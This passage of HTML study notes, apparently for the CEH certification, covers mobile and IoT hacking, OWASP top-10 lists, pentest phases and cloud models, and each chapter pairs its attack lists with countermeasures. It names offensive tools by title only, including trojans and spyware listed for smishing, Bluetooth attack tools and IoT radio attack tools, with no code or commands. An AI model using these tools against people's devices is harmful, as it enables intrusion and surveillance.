        <li><strong>OmniPeek</strong> - provides data like Wireshark in addition to network activity and monitoring</li>
        <li><strong>AirMagnet WiFi Analyzer Pro</strong> - sniffer, traffic analyzer and network-auditing suite</li>
        <li><strong>WiFi Pilot</strong></li>
      </ul>
    </li>
  </ul>
  <h2>Protecting Wireless Networks - Best practices</h2>
  <ul>
    <li>Use 802.11i
      <ul>
        <li>WPA2</li>
        <li>AES encryption</li>
        <li>MAC Filtering with ACL <em>(It's not a final solution, hackers can circumvent)</em></li>
        <li>Disable SSID broadcast <em>(It's not a final solution, hackers can circumvent)</em></li>
        <li>Use VPN in case of home office (connecting externally)</li>
      </ul>
    </li>
  </ul>
  <p>⚠️ Warnings of Public / Free Wi-Fi</p>
  <ul>
    <li>Session hijacking</li>
    <li>Rogue APs</li>
    <li>Evil Twins</li>
  </ul>
  <h1>13. Hacking Mobile Platforms and IoT</h1>
  <h2><u>A) Mobile Platform Hacking</u></h2>
  <ul>
    <li><strong>Three Main Avenues of Attack</strong>
      <ul>
        <li><strong>Device Attacks</strong> - browser based, SMS, application attacks, rooted/jailbroken devices</li>
        <li><strong>Network Attacks</strong> - DNS cache poisoning, rogue APs, packet sniffing</li>
        <li><strong>Data Center (Cloud) Attacks</strong> - databases, photos, etc.</li>
      </ul>
    </li>
  </ul>
  <br>
  <ul>
    <li><strong>OWASP Top 10 Mobile Risks:</strong>
      <ul>
        <li><img src="https://www.nowsecure.com/wp-content/uploads/2016/10/OWASP-Mobile-Top-10.png" alt="owasp-mobile">
        </li>
      </ul>
    </li>
  </ul>
  <br>
  <ul>
    <li>
      <p><strong>M1 - Improper Platform Usage</strong> - Misuse of features or security controls (Android intents,
        TouchID, Keychain)</p>
    </li>
    <li>
      <p><strong>M2 - Insecure Data Storage</strong> - Improperly stored data and data leakage</p>
    </li>
    <li>
      <p><strong>M3 - Insecure Communication</strong> - Poor handshaking, incorrect SSL, clear-text communication</p>
    </li>
    <li>
      <p><strong>M4 - Insecure Authentication</strong> - Authenticating end user or bad session management</p>
    </li>
    <li>
      <p><strong>M5 - Insufficient Cryptography</strong> - Code that applies cryptography to an asset, but is
        insufficient (does NOT include SSL/TLS)</p>
    </li>
    <li>
      <p><strong>M6 - Insecure Authorization</strong> - Failures in authorization (access rights)</p>
    </li>
    <li>
      <p><strong>M7 - Client Code Quality</strong> - Catchall for code-level implementation problems</p>
    </li>
    <li>
      <p><strong>M8 - Code Tampering</strong> - Binary patching, resource modification, dynamic memory modification</p>
    </li>
    <li>
      <p><strong>M9 - Reverse Engineering</strong> - Reversing core binaries to find problems and exploits</p>
    </li>
    <li>
      <p><strong>M10 - Extraneous Functionality</strong> - Catchall for backdoors that were inadvertently placed by
        coders</p>
    </li>
  </ul>
  <h2><u>Mobile Platforms</u></h2>
  <ul>
    <li><strong>Android</strong> - platform built by Google
      <ul>
        <li><strong>Rooting</strong> - name given to the ability to have root access on an Android device
          <ul>
            <li><strong>Tools</strong>
              <ul>
                <li>KingoRoot</li>
                <li>TunesGo</li>
                <li>OneClickRoot</li>
                <li>MTK Droid</li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>iOS</strong> - platform by Apple
      <ul>
        <li><strong>Jailbreaking</strong> - different levels of rooting an iOS device
          <ul>
            <li><strong>Tools</strong>
              <ul>
                <li>evasi0n7</li>
                <li>GeekSn0w</li>
                <li>Pangu</li>
                <li>Redsn0w</li>
                <li>Absinthe</li>
                <li>Cydia</li>
              </ul>
            </li>
            <li><strong>Techniques</strong>
              <ul>
                <li><strong>Untethered</strong> - kernel remains patched after reboot, with or without a system
                  connection</li>
                <li><strong>Semi-Tethered</strong> - reboot no longer retains patch; must use installed jailbreak
                  software to re-jailbreak</li>
                <li><strong>Tethered</strong> - reboot removes all jailbreaking patches; phone may get in boot loop
                  requiring USB to repair</li>
              </ul>
            </li>
            <li><strong>Types</strong>
              <ul>
                <li><strong>Userland exploit</strong> - found in the system itself; gains root access; does not provide
                  admin; can be patched by Apple</li>
                <li><strong>iBoot exploit</strong> - found in bootloader called iBoot; uses vulnerability to turn
                  codesign off; semi-tethered; can be patched</li>
                <li><strong>BootROM exploit</strong> - allows access to file system, iBoot and custom boot logos; found
                  in device's first bootloader; cannot be patched</li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>App Store attacks</strong> - since some App stores are not vetted, malicious apps can be placed there
    </li>
    <li><strong>Phishing attacks</strong> - mobile phones have more data to be stolen and are just as vulnerable as
      desktops</li>
    <li><strong>Android Device Administration API</strong> - allows for security-aware apps that may help</li>
    <li><strong>Bring Your Own Device</strong> (BYOD) - dangerous for organizations because not all phones can be locked
      down by default</li>
    <li><strong>Mobile Device Management</strong> - like group policy on Windows; helps enforce security and deploy apps
      from enterprise
      <ul>
        <li>MDM solutions include XenMobile, IBM, MaaS360, AirWatch and MobiControl</li>
      </ul>
    </li>
    <li><strong>Bluetooth attacks</strong> - if a mobile device can be connected to easily, it can fall prey to
      Bluetooth attacks
      <ul>
        <li><strong>Discovery mode</strong> - how the device reacts to inquiries from other devices
          <ul>
            <li><strong>Discoverable</strong> - answers all inquiries</li>
            <li><strong>Limited Discoverable</strong> - restricts the action</li>
            <li><strong>Nondiscoverable</strong> - ignores all inquiries</li>
          </ul>
        </li>
        <li><strong>Pairing mode</strong> - how the device deals with pairing requests
          <ul>
            <li><strong>Pairable</strong> - accepts all requests</li>
            <li><strong>Nonpairable</strong> - rejects all connection requests</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <h2><u>Mobile Attacks</u></h2>
  <p>All other attacks presented on previous chapter are suceptible to mobile devices too attacks like session
    hijacking, browser vulnerabilities, XSS, email, SMS, phone, OS/Apps bugs, excessive permissions and so on.
    Vulnerabilities on connection (Bluetooth, WiFi, NFC), encryption.</p>
  <ul>
    <li><strong>SMS Phishing (Smishing)</strong> - sending texts with malicious links
      <ul>
        <li>People tend to trust these more because they happen less</li>
        <li><strong>Trojans Available to Send</strong>
          <ul>
            <li>Obad</li>
            <li>Fakedefender</li>
            <li>TRAMPS</li>
            <li>ZitMo</li>
          </ul>
        </li>
        <li><strong>Spyware</strong>
          <ul>
            <li>Mobile Spy</li>
            <li>Spyera</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>Mobile platform features such as Find my iPhone, Android device tracking and the like can be hacked to find
      devices, etc.</li>
    <li><strong>Mobile Attack Platforms</strong> - tools that allow you to attack from your phone
      <ul>
        <li>Network Spoofer</li>
        <li>DroidSheep</li>
        <li>Nmap</li>
      </ul>
    </li>
  </ul>
  <h3><u>Bluetooth:</u></h3>
  <ul>
    <li>
      <p><strong>Bluetooth Attacks</strong></p>
      <ul>
        <li><strong>Bluesmacking</strong> - Denial of service against device</li>
        <li><strong>Bluejacking</strong> - Sending unsolicited messages</li>
        <li><strong>Bluesniffing</strong> - Attempt to discover Bluetooth devices</li>
        <li><strong>Bluebugging</strong> - Remotely using a device's features</li>
        <li><strong>Bluesnarfing</strong> - Theft of data from a device</li>
        <li><strong>Blueprinting</strong> - Collecting device information over Bluetooth</li>
      </ul>
    </li>
    <li>
      <p><strong>Bluetooth Attack Tools</strong></p>
      <ul>
        <li><strong>BlueScanner</strong> - finds devices around you</li>
        <li><strong>BT Browser</strong> - another tool for finding and enumerating devices</li>
        <li><strong>Bluesniff</strong> and <strong>btCrawler</strong> - sniffing programs with GUI</li>
        <li><strong>Bloover</strong> - can perform Bluebugging</li>
        <li><strong>PhoneSnoop</strong> - good spyware option for Blackberry</li>
        <li><strong>Super Bluetooth Hack</strong> - all-in-one package that allows you to do almost anything</li>
      </ul>
    </li>
  </ul>
  <h2>Improving Mobile Security</h2>
  <ul>
    <li>Always check OS and Apps are up to date</li>
    <li>Screen Locks + Passwords</li>
    <li>Secure Wireless comunication</li>
    <li>No Jailbreaking or Rooting</li>
    <li>Don't store sensitive information on mobile (like confidential information from company)</li>
    <li>Remote desktop (e.g. Citrix)</li>
    <li>Use Official app stores</li>
    <li>Anti-virus</li>
    <li>Remote wipe option</li>
    <li>Remote management</li>
    <li>Remote tracking</li>
  </ul>
  <p>⚠️ Companies should use <strong>MDM policies</strong> to accomplish mobile security.</p>
  <h2><u>B) IoT Architecture</u></h2>
  <h3><strong>- What is IoT?</strong></h3>
  <p><em><strong>The Internet of Things (IoT)</strong> describes the network of physical objects—“things”—that are
      embedded with sensors, software, and other technologies for the purpose of connecting and exchanging data with
      other devices and systems over the internet.</em></p>
  <ul>
    <li>
      <p>Traditional fields of embedded systems, wireless sensor networks, control systems, automation (including home
        and building automation), and others all contribute to enabling the Internet of things.</p>
    </li>
    <li>
      <p><img
          src="https://www.researchgate.net/profile/Akram_Hakiri/publication/281896657/figure/fig1/AS:391492888743939@1470350586428/High-level-IoT-architecture.png"
          alt="iot"></p>
    </li>
    <li>
      <p><strong>Three Basic Components</strong></p>
      <ul>
        <li>Sensing Technology</li>
        <li>IoT gateways</li>
        <li>The cloud</li>
      </ul>
    </li>
  </ul>
  <h3><strong>Methods of Communicating</strong></h3>
  <p><em>IoT connectivity boils down to how things connect to each other. Can be wired, wireless, 4G LTE, Bluetooth,
      GPS, LoRa, mesh networking, RFID, WiFi, Zigbee and Z-wave.</em></p>
  <ul>
    <li><strong>Device to Device</strong> - Direct communication between two devices.</li>
    <li><strong>Device to Cloud</strong> - Communicates directly to a cloud service.</li>
    <li><strong>Device to Gateway</strong> - Communicate to a centralized gateway that gathers data and then sends it to
      an application server based in the cloud.</li>
    <li><strong>Back-End Data Sharing</strong> - Used to scale the device to cloud model to allow for multiple devices
      to interact withone or more application servers.</li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Zigbee</strong> and <strong>Z-Wave</strong> is a wireless mesh networking protocol popular in home
      automation.</p>
  </blockquote>
  <h3><strong>Edge Computing</strong></h3>
  <p><em>Edge Computing is a distributed computing paradigm in which processing and computation are performed mainly on
      classified device nodes known as smart devices or edge devices as opposed to processed in a centralized cloud
      environment or data centers.</em></p>
  <p align="center">
    <img width="70%&quot;&quot;"
      src="https://www.xenonstack.com/images/blog/2019/11/edge-computing-services-solutions-xenonstack.png">
  </p>
  <ul>
    <li>It helps to provide server resources, data analysis, and artificial intelligence to data collection sources and
      cyber-physical sources like smart sensors and actuators.</li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Edge computing</strong> handling data by pushing into the cloud. <strong>Fog Computing</strong> is
      more like keep things locally.</p>
  </blockquote>
  <h3><strong>Multi-Layer Architecture of IoT</strong></h3>
  <ul>
    <li><strong>Edge Technology Layer</strong> - consists of sensors, RFID tags, readers and the devices</li>
    <li><strong>Access Gateway Layer</strong> - first data handling, message identification and routing</li>
    <li><strong>Internet Layer</strong> - crucial layer which serves as main component to allow communication</li>
    <li><strong>Middleware Layer</strong> - sits between application and hardware; handles data and device management,
      data analysis and aggregation</li>
    <li><strong>Application Layer</strong> - responsible for delivery of services and data to the user</li>
  </ul>
  <h3><strong>IoT Technology Protocols</strong></h3>
  <ul>
    <li><strong>Short-Range Wireless:</strong>
      <ul>
        <li>Bluetooth Low-energy (BLE)</li>
        <li>Light-Fidelity (Li-Fi)</li>
        <li>Near Field Communication (NFC)</li>
        <li>QR Codes &amp; Barcodes</li>
        <li>Radio-frequency Identification (RFID)</li>
        <li>Wi-fi / Direct</li>
        <li>Z-wave</li>
        <li>Zigbee</li>
      </ul>
    </li>
    <li><strong>Medium-Range Wireless:</strong>
      <ul>
        <li>Ha-Low</li>
        <li>LTE-Advanced</li>
      </ul>
    </li>
    <li><strong>Long-Range Wireless:</strong>
      <ul>
        <li>Low-power Wide-area Networking (LPWAN)</li>
        <li>LoRaWAN</li>
        <li>Sigfox</li>
        <li>Very Smart Aperture Terminal (VSAT)</li>
        <li>Cellular</li>
      </ul>
    </li>
    <li><strong>Wired Communications:</strong>
      <ul>
        <li>Ethernet</li>
        <li>Power-Line Communication (PLC)</li>
        <li>Multimedia over Coax Alliance (MoCA)</li>
      </ul>
    </li>
  </ul>
  <h3><strong>IoT Operating Systems</strong></h3>
  <ul>
    <li><strong>RIOT OS</strong> - Embedded systems, actuator boards, sensors; is energy efficient</li>
    <li><strong>ARM Mbed OS</strong> - Mostly used on wearables and other low-powered devices</li>
    <li><strong>RealSense OS X</strong> - Intel's depth sensing version; mostly found in cameras and other sensors</li>
    <li><strong>Nucleus RTOS</strong> - Used in aerospace, medical and industrial applications</li>
    <li><strong>Brillo</strong> - Android-based OS; generally found in thermostats</li>
    <li><strong>Contiki</strong> - OS made for low-power devices; found mostly in street lighting and sound monitoring
    </li>
    <li><strong>Zephyr</strong> - Option for low-power devices and devices without many resources</li>
    <li><strong>Ubuntu Core</strong> - Used in robots and drones; known as "snappy"</li>
    <li><strong>Integrity RTOS</strong> - Found in aerospace, medical, defense, industrial and automotive sensors</li>
    <li><strong>Apache Mynewt</strong> - Used in devices using Bluetooth Low Energy Protocol</li>
  </ul>
  <h3><strong>Geofencing</strong></h3>
  <p><em>Uses GPS and RFID technologies to create a virtual geographic boundary, like around your home property. A
      response is then triggered any time a mobile device enters or leaves the area.</em></p>
  <h3><strong>Grid Computing</strong></h3>
  <p>Reduces costs by maximizing existing resources. This is accomplished with <strong>multiple machines together to
      solve a specific problem.</strong></p>
  <h3><strong>Analytics of Things (AoT)</strong></h3>
  <ul>
    <li>The analysis of IoT data, which is the data being generated by IoT sensors and devices.</li>
  </ul>
  <h3><strong>Industrial IoT (IIoT)</strong></h3>
  <p><img src="https://i1.wp.com/intellinium.io/wp-content/uploads/2016/12/iot_edited.png?w=800&amp;ssl=1" alt="iiot">
  </p>
  <p><em>The industrial internet of things (IIoT) refers to the extension and use of the internet of things (IoT) in
      industrial sectors and applications. With a strong focus on machine-to-machine (M2M) communication, big data, and
      machine learning, the IIoT enables industries and enterprises to have better efficiency and reliability in their
      operations.</em></p>
  <ul>
    <li><strong>The IIoT encompasses industrial applications, including robotics, medical devices, and software-defined
        production processes.</strong></li>
  </ul>
  <h2><u>IoT Vulnerabilities and Attacks:</u></h2>
  <h3><strong>OWASP Top 10 IoT Vulnerabilities (2014)</strong></h3>
  <ul>
    <li><strong>I1 - Insecure Web Interface</strong>
      <ul>
        <li>Problems such as account enumeration, weak credentials, and no account lockout</li>
      </ul>
    </li>
    <li><strong>I2 - Insufficient Authentication/Authorization</strong>
      <ul>
        <li>Assumes interfaces will only be exposed on internal networks and thus is a flaw</li>
      </ul>
    </li>
    <li><strong>I3 - Insecure Network Services</strong>
      <ul>
        <li>May be susceptible to buffer overflow or DoS attacks</li>
      </ul>
    </li>
    <li><strong>I4 - Lack of Transport Encryption/Integrity Verification</strong>
      <ul>
        <li>Data transported without encryption</li>
      </ul>
    </li>
    <li><strong>I5 - Privacy Concerns</strong>
      <ul>
        <li>Due to collection of personal data</li>
      </ul>
    </li>
    <li><strong>I6 - Insecure Cloud Interface</strong>
      <ul>
        <li>Easy-to-guess credentials make enumeration easy</li>
      </ul>
    </li>
    <li><strong>I7 - Insecure Mobile Interface</strong>
      <ul>
        <li>Easy-to-guess credentials on mobile interface</li>
      </ul>
    </li>
    <li><strong>I8 - Insufficient Security Configurability</strong>
      <ul>
        <li>Cannot change security which causes default passwords and configuration</li>
      </ul>
    </li>
    <li><strong>I9 - Insecure Software/Firmware</strong>
      <ul>
        <li>Lack of a device to be updated or devices that do not check for updates</li>
      </ul>
    </li>
    <li><strong>I10 - Poor Physical Security</strong>
      <ul>
        <li>Because of the nature of devices, these can easily be stolen</li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3><strong>OWASP Top 10 IoT Vulnerabilities (2018)</strong></h3>
  <ul>
    <li>
      <p><strong>1. Weak, guessable, or hardcoded passwords</strong></p>
      <ul>
        <li>Use of easily bruteforced, publicly available, or unchangeable credentials, including backdoors in firmware
          or client software that grants unauthorized access to deployed systems.</li>
      </ul>
    </li>
    <li>
      <p><strong>2. Insecure network services</strong></p>
      <ul>
        <li>Unneeded or insecure network services running on the device itself, especially those exposed to the
          internet, that compromise the confidentiality, integrity/authenticity, or availability of information or allow
          unauthorized remote control…</li>
      </ul>
    </li>
    <li>
      <p><strong>3. Insecure ecosystem interfaces</strong></p>
      <ul>
        <li>Insecure web, backend API, cloud, or mobile interfaces in the ecosystem outside of the device that allows
          compromise of the device or its related components. Common issues include a lack of
          authentication/authorization, lacking or weak encryption, and a lack of input and output filtering.</li>
      </ul>
    </li>
    <li>
      <p><strong>4. Lack of secure update mechanism</strong></p>
      <ul>
        <li>Lack of ability to securely update the device. This includes lack of firmware validation on device, lack of
          secure delivery (un-encrypted in transit), lack of anti-rollback mechanisms,
          and lack of notifications of security changes due to updates.</li>
      </ul>
    </li>
    <li>
      <p><strong>5. Use of insecure or outdated components</strong></p>
      <ul>
        <li>Use of deprecated or insecure software components/libraries that could allow the device to be compromised.
          This includes insecure customization of operating system platforms, and the use of third-party software or
          hardware components from a compromised supply chain.</li>
      </ul>
    </li>
    <li>
      <p><strong>6. Insufficient privacy protection</strong></p>
      <ul>
        <li>User’s personal information stored on the device or in the ecosystem that is used insecurely, improperly, or
          without permission.</li>
      </ul>
    </li>
    <li>
      <p><strong>7. Insecure data transfer and storage</strong></p>
      <ul>
        <li>Lack of encryption or access control of sensitive data anywhere within the ecosystem, including at rest, in
          transit, or during processing.</li>
      </ul>
    </li>
    <li>
      <p><strong>8. Lack of device management</strong></p>
      <ul>
        <li>Lack of security support on devices deployed in production, including asset management, update management,
          secure decommissioning, systems monitoring, and response capabilities.</li>
      </ul>
    </li>
    <li>
      <p><strong>9. Insecure default settings</strong></p>
      <ul>
        <li>Devices or systems shipped with insecure default settings or lack the ability to make the system more secure
          by restricting operators from modifying configurations.</li>
      </ul>
    </li>
    <li>
      <p><strong>10. Lack of physical hardening</strong></p>
      <ul>
        <li>Lack of physical hardening measures, allowing potential attackers to gain sensitive information that can
          help in a future remote attack or take local control of the device.</li>
      </ul>
    </li>
  </ul>
  <hr>
  <h2><u>Common IoT Attack Areas</u></h2>
  <ol>
    <li>Device memory containing credentials</li>
    <li>Device / Ecosystem Access Control</li>
    <li>Device Physical Interfaces / Fimrware extraction</li>
    <li>Device web interface</li>
    <li>Device Firmware</li>
    <li>Device network services</li>
    <li>Devices administrative interface(s)</li>
    <li>Unencrypted Local data storage</li>
    <li>Cloud interface(s)</li>
    <li>Device update mechanism(s)</li>
    <li>Insecure API's (vendor &amp; thir-party)</li>
    <li>Mobile application</li>
    <li>Confidentiality and Integrity issues across the ecosystem</li>
    <li>Network traffic</li>
  </ol>
  <h2><u>IoT Threats</u></h2>
  <ol>
    <li><strong>DDoS Attack</strong></li>
    <li><strong>HVAC System attacks</strong> - Attacks on HVAC systems</li>
    <li><strong>Rolling code attack</strong> - Used to steal cars; The ability to jam a key fob's communications, steal
      the code and then create a subsequent code</li>
    <li><strong>BlueBorne attack</strong> - Attacks against Bluetooth devices</li>
    <li><strong>Jamming attack</strong></li>
    <li><strong>Remote access via backdoors</strong></li>
    <li><strong>Remote access via unsecured protocols</strong> such as TELNET</li>
    <li><strong>Sybil attack</strong> - Uses multiple forged identities to create the illusion of traffic; happens when
      a insecure computer is hijacked to claim multiple identities.</li>
    <li><strong>Rootkits / Exploit kits</strong></li>
    <li><strong>Ransomware</strong></li>
  </ol>
  <blockquote>
    <p>⚠️ <strong>Other attacks already enumerated in other sections still apply such as MITM, ransomware, side channel,
        replay attack etc.</strong></p>
  </blockquote>
  <h2><u>IoT Hacking Methodology</u></h2>
  <h3><strong>Steps</strong>:</h3>
  <ol>
    <li>
      <p><strong>Information Gathering</strong> - gathering information about the devices;</p>
      <ul>
        <li><strong>Tools</strong>:</li>
        <li>Shodan</li>
        <li>Censys</li>
        <li>Thingful</li>
        <li>Google</li>
      </ul>
    </li>
    <li>
      <p><strong>Vulnerability Scanning</strong> - same as normal methodology - looks for vulnerabilities</p>
      <ul>
        <li><strong>Tools:</strong></li>
        <li>Nmap</li>
        <li>Multi-ping</li>
        <li>RIoT Vulnerability Scanner</li>
        <li>Foren6 (traffic sniffer)</li>
        <li>beSTORM</li>
      </ul>
    </li>
    <li>
      <p><strong>Launching Attacks</strong></p>
      <ul>
        <li><strong>Tools:</strong></li>
        <li>RFCrack</li>
        <li>Attify Zigbee Framework</li>
        <li>HackRF</li>
        <li>Firmalyzer</li>
      </ul>
    </li>
    <li>
      <p><strong>Gaining Access</strong> - same objectives as normal methodology</p>
    </li>
    <li>
      <p><strong>Maintaining Access</strong> - same objectives as normal methodology</p>
    </li>
  </ol>
  <hr>
  <h2>Countermeasures to help secure IoT devices:</h2>
  <ol>
    <li>Firmware updates</li>
    <li>Block ALL unecessary ports</li>
    <li>Disable insecure access protocols such as TELNET</li>
    <li>Only use encrypted communication protocols</li>
    <li>Use strong passwords</li>
    <li>Encrypt ALL data and communications coming into, being stored in and leaving the device</li>
    <li>Use account lockout</li>
    <li>Configuration management and baselining of devices along with compliance monitoring</li>
    <li>Use multi-factor authentication</li>
    <li>Disable UPnP</li>
  </ol>
  <h1>14. Pentesting</h1>
  <p><em>A penetration test, colloquially known as a pen test, pentest or ethical hacking, is an authorized simulated
      cyberattack on a computer system, performed to evaluate the security of the system.</em></p>
  <h3>Security Assessments:</h3>
  <ul>
    <li>
      <p><strong>Security Assessment</strong> - Test performed in order to assess the level of security on a network or
        system.</p>
    </li>
    <li>
      <p><strong>Security Audit</strong> - Policy and procedure focused; tests whether organization is following
        specific standards and policies; look on compliances only.</p>
    </li>
    <li>
      <p><strong>Vulnerability Assessment</strong> - Scans and tests for vulnerabilities but does not intentionally
        exploit them.</p>
    </li>
    <li>
      <p><strong>Penetration Test</strong> - Looks for vulnerabilities and actively seeks to exploit them.</p>
    </li>
  </ul>
  <h3>InfoSec Teams 🗡🛡</h3>
  <ul>
    <li>🔵 <strong>Blue Team</strong> <em>(defenders)</em>
      <ul>
        <li>Implement security policy</li>
        <li>Implement technical controls</li>
        <li>Detect and defend against Red Team</li>
      </ul>
    </li>
    <li>🔴 <strong>Red Team</strong> <em>(attackers)</em>
      <ul>
        <li>Perform penetration testing</li>
        <li>Act as any true outside threat in an attempt to gain unauthorized access to client's system(s)</li>
      </ul>
    </li>
  </ul>
  <h2><u>Types of Pen Tests</u></h2>
  <p><strong>External assessment</strong> - Analyzes publicly available information; conducts network scanning,
    enumeration and testing from the network perimeter.</p>
  <p><strong>Internal Assessment</strong> - Performed from within the organization, from various network access points.
  </p>
  <h3>Pentesting boxes:</h3>
  <blockquote>
    <ul>
      <li><strong>Black Box</strong> - Done <strong>without any knowledge</strong> of the system or network.</li>
      <li><strong>White Box</strong> - When the attacker <strong>have complete knowledge</strong> of the system provided
        by the owner/target.</li>
      <li><strong>Gray Box</strong> - When the attacker has <strong>some knowledge</strong> of the system and/or network
      </li>
    </ul>
  </blockquote>
  <ul>
    <li><strong>Automated Testing Tools</strong>
      <ul>
        <li><strong>Codenomicon</strong> - utilizes fuzz testing that learns the tested system automatically; allows for
          pen testers to enter new domains such as VoIP assessment, etc.</li>
        <li><strong>Core Impact Pro</strong> - best known, all-inclusive automated testing framework; tests everything
          from web applications and individual systems to network devices and wireless</li>
        <li><strong>Metasploit</strong> - framework for developing and executing code against a remote target machine
        </li>
        <li><strong>CANVAS</strong> - hundreds of exploits, automated exploitation system and extensive exploit
          development framework</li>
      </ul>
    </li>
  </ul>
  <h3><u>Pen test Phases</u></h3>
  <ol>
    <li><strong>Pre-Attack Phase</strong> - Reconnaissance and data-gathering.</li>
    <li><strong>Attack Phase</strong> - Attempts to penetrate the network and execute attacks.</li>
    <li><strong>Post-Attack Phase</strong> - Cleanup to return a system to the pre-attack condition and deliver reports.
    </li>
  </ol>
  <blockquote>
    <p>⚠️ For the exam, EC-Council brings his own methodology and that's all you need for the exam; you can check
      another pentesting methodologies <a
        href="https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies">here</a>
      if you are interested; In case you are studying to become a professional pentester besides certification content,
      I recommend the <a href="https://www.isecom.org/research.html">OSSTMM</a> (Open Source Security Testing
      Methodology Manual).</p>
  </blockquote>
  <h2><u>Security Assessment Deliverables</u></h2>
  <ul>
    <li>Usually begins with a brief to management
      <ul>
        <li>Provides information about your team and the overview of the original agreement</li>
        <li>Explain what tests were done and the results of them</li>
      </ul>
    </li>
    <li><strong>Comprehensive Report Parts</strong>
      <ul>
        <li>Executive summary of the organization's security posture</li>
        <li>Names of all participants and dates of tests</li>
        <li>List of all findings, presented in order of risk</li>
        <li>Analysis of each finding and recommended mitigation steps</li>
        <li>Log files and other evidence (screenshots, etc.)</li>
      </ul>
    </li>
    <li>Example reports and methodology can be found in the <strong>Open Source Testing Methodology Manual</strong>
      (OSSTMM)</li>
  </ul>
  <h2><u>Terminology</u></h2>
  <ul>
    <li><strong>Types of Insiders</strong>
      <ul>
        <li><strong>Pure Insider</strong> - employee with all rights and access associated with being an employee
          <ul>
            <li><strong>Elevated Pure Insider</strong> - employee who has admin privileges</li>
          </ul>
        </li>
        <li><strong>Insider Associate</strong> - someone with limited authorized access such as a contractor, guard or
          cleaning service person</li>
        <li><strong>Insider Affiliate</strong> - spouse, friend or client of an employee who uses the employee's
          credentials to gain access</li>
        <li><strong>Outside Affiliate</strong> - someone outside the organization who uses an open access channel to
          gain access to an organization's resources</li>
      </ul>
    </li>
  </ul>
  <h2><u>Vulnerabilities</u></h2>
  <ul>
    <li>
      <p><strong>CVSS - Common Vulnerability Scoring System</strong> - places numerical score based on severity;</p>
      <ul>
        <li>
          <p><strong>Qualitative severity rating scale:</strong></p>
          <p>Rating | CVSS Score
            --|--
            None | 0.0
            Low | 0.1 - 3.9
            Medium | 4.0 - 6.9
            High | 7.0 - 8.9
            Critical | 9.0 - 10.0</p>
        </li>
      </ul>
    </li>
    <li>
      <p><strong>CVE – Common Vulnerabilities and Exposures</strong></p>
      <ul>
        <li>Is a list of publicly disclosed vulnerabilities and exposures that is maintained by MITRE.</li>
      </ul>
    </li>
    <li>
      <p><strong>NVD - National Vulnerability Database</strong></p>
      <ul>
        <li>is a database, maintained by NIST, that is fully synchronized with the MITRE CVE list; US Gov.
          vulnerabilities repository.</li>
      </ul>
    </li>
  </ul>
  <h1>15. Cloud Computing</h1>
  <h2><u>Cloud Computing Basics</u></h2>
  <ul>
    <li><strong>Three Types of Service Models</strong>:
      <ul>
        <li><strong>Infrastructure as a Service (IaaS)</strong>
          <ul>
            <li>Provides virtualized computing resources</li>
            <li>Third party hosts the servers with hypervisor running the VMs as guests</li>
            <li>Subscribers usually pay on a per-use basis
              <ul>
                <li>e.g: AWS, Microsoft Azure, Digital Ocean, Google Cloud</li>
              </ul>
            </li>
          </ul>
        </li>
        <li><strong>Platform as a Service (Paas)</strong>
          <ul>
            <li>Geared towards software development</li>
            <li>Hardware and software hosted by provider</li>
            <li>Provides ability to develop without having to worry about hardware or software
              <ul>
                <li>e.g: Heroku, SalesForce</li>
              </ul>
            </li>
          </ul>
        </li>
        <li><strong>Software as a Service (SaaS)</strong>
          <ul>
            <li>Provider supplies on-demand applications to subscribers</li>
            <li>Offloads the need for patch management, compatibility and version control
              <ul>
                <li>e.g: Microsoft Office 365, Dropbox storage, Google Docs.</li>
              </ul>
            </li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <table>
    <thead>
      <tr>
        <th>Tech stack</th>
        <th>Type</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Software</td>
        <td>SaaS</td>
      </tr>
      <tr>
        <td>Apps</td>
        <td>PaaS</td>
      </tr>
      <tr>
        <td>OS</td>
        <td>IaaS</td>
      </tr>
      <tr>
        <td>Virtualization</td>
        <td>managed by provider</td>
      </tr>
      <tr>
        <td>Storage/Networking</td>
        <td>managed by provider</td>
      </tr>
    </tbody>
  </table>
  <hr>
  <p align="center">
    <img width="90%" src="https://img.alicdn.com/tfs/TB1WyglO7voK1RjSZFwXXciCFXa-2305-1450.png">
  </p>
  <h2><u>Cloud Deployment Models</u></h2>
  <ul>
    <li><strong>Private Cloud</strong> - Cloud solely for use by one tenant; usually done in larger organizations.</li>
    <li><strong>Community Cloud</strong> - Is make up of infrastructure from several different entitites wich may be
      cloud providers, business partners, and so on. (members only type of thing)</li>
    <li><strong>Public Cloud</strong> - Services provided over a network that is open for public to use; Amazon S3,
      Microsoft Azure - Open for business.</li>
    <li><strong>Hybrid Cloud</strong> - A composition of two or more cloud deployment models.</li>
  </ul>
  <h2><u><strong>NIST Cloud Architecture</strong></u></h2>
  <p><em>The NIST cloud computing reference architecture (NIST SP 500-292) define five major actors; Each actor is an
      entity (a person or an organization) that participates in a transaction or process and/or perform tasks in cloud
      computing.</em></p>
  <ul>
    <li><strong>Cloud Consumer</strong> - A person or org. that maintains a business relationship with, and use servies
      from Cloud Providers; aquires and uses cloud products and services.</li>
    <li><strong>Cloud Provider</strong> - A person, org. or entity responsible for making a service available; Purveyor
      of products and services.</li>
    <li><strong>Cloud Auditor</strong> - Independent assor of cloud service an security controls.</li>
    <li><strong>Cloud Broker</strong> - Manages use, performance and delivery of services as well as relationships
      between Cloud Providers to Cloud consumers.</li>
    <li><strong>Cloud Carrier</strong> - Organization with responsibility of transferring data; Intermediary that
      provides connectivity and transport of Cloud services from Cloud providers to Cloud consumers. (e.g: Telecom's)
    </li>
  </ul>
  <blockquote>
    <p>⚠️ - <strong>FedRAMP</strong> - regulatory effort regarding cloud computing</p>
  </blockquote>
  <blockquote>
    <p>⚠️ - <strong>PCI DSS</strong> - deals with debit and credit cards, but also has a cloud SIG</p>
  </blockquote>
  <h2><u>Five characteristics of cloud computing</u></h2>
  <p><em><strong>The National Institute of Standards and Technology (NIST)</strong> defines cloud computing as it is
      known today through five particular characteristics.</em></p>
  <ol>
    <li>
